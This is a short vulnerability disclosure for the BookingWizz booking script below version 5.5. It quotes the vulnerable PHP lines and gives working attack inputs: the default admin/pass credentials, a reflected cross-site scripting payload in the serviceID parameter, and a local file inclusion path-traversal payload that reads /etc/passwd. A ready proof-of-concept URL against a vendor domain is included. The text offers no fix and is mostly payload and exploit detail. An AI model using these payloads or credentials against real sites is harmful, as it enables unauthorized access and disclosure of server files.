BookingWizz < 5.5 Multiple Vulnerability
People are to lazy to change default credential unless application force them to do that. Line 128: <br />Default username/password: <b>admin/pass</b></div>; Cross Site Scripting: File : eventList.php // Improper user input validation on Line 24: $serviceID = (!empty($_REQUEST["serviceID"]))?strip_tags(str_replace("'","`",$_REQUEST["serviceID"])):getDefaultService(); Line 60: <?php echo SAMPLE_TEXT?> <strong><?php echo VIEW?> <a href="index.php?serviceID=<?php echo $serviceID?>"><?php echo CALENDAR?></a></strong> Payload = 1337" onmouseover="alert(1); Local File Inclusion: File:config.php Lang variable is under the user control. Line 31: $lang = (!empty($_REQUEST["lang"])) ? strip_tags(str_replace("'", "`", $_REQUEST["lang"])) : 'english'; Storing user controlled variable within session variable. Line 36 - 38 : if (!empty($_REQUEST["action"]) && $_REQUEST["action"] == "changelang") { $_SESSION['curr_lang'] = $lang; } And using it with include function which cause straightforward file inclusion. Line 60 - 68 : if (!empty($_SESSION['curr_lang'])) { $lang = $_SESSION['curr_lang']; } if (file_exists("lang/".$lang.".php")) { include("lang/".$lang.".php"); } else { include("lang/english.php"); } Payload = ../../../../../../../../../etc/passwd PoC = http://www.convergine.com/scripts/booking/config.php?action=changelang&lang=../../../../../../../../../etc/passwd